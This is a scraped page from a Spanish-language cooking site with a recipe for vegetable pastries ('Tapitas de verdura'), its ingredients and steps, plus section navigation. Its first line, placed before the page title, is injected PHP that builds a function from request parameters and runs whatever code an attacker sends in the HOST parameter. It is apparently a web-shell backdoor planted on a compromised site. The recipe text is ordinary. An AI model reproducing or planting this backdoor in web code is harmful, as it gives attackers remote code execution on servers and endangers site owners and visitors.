if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['4417120a8200cdfb2b17d13666363d5b']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Cocineros de Verdad » Tapitas de verdura
entradas

¡Para ir calmando el apetito!

plato principal

¡A comer!

postres y repostería

Cosas dulces para cualquier ocasión

videos

Todos los videos de cocineros de verdad a un solo click

cocina étnica

¡Conocé la cocina de verdad del mundo!

Lugares

¡Para salirnos del circuito usual!

Ceremonial y Protocolo

De la mano de Marcela Cicero

Notas

Para aprender y compartir

Técnicas y Tips

¡Los secretos para hacer cosas ricas!

Vinos y Bebidas

Para acompañar todo lo demás

Home » Entradas, Recetas

Tapitas de verdura

Publicado por on Miércoles, 19 marzo 20082 Comentarios
Tapitas de verdura

Ingredientes (6 porciones):

12 Tapas para empanada de harina integral
2 Cebollas
2 Zapallitos
3 Zanahorias
2 Tomates
Jengibre en polvo
Pimienta
Orégano
Stevia
Semillas de sésamo
Manteca clarificada o margarina vegetal
Leche descremada
Procedimiento:
  • Cortar las verduras.
  • Rehogar primero las cebollas junto con las zanahorias en la manteca o margarina, y luego agregar los tomates y zapallitos.
  • Cocinar a fuego suave por 5 minutos, agregar las especias y retirar.

    • (Armado)

  • Tomar las tapas de empanada, colocar en el centro un poco del relleno y doblar, dejando que se vea el relleno, presionando en los extremos del doblez para que se una la masa y no se pierda líquido.
  • Colocar en una fuente enmantecada y pintar con leche descremada.
  • Llevar al horno hasta que la masa esté dorada.
    • Para presentar el plato en la mesa se puede adornar son salsa de soja y semillas de sésamo.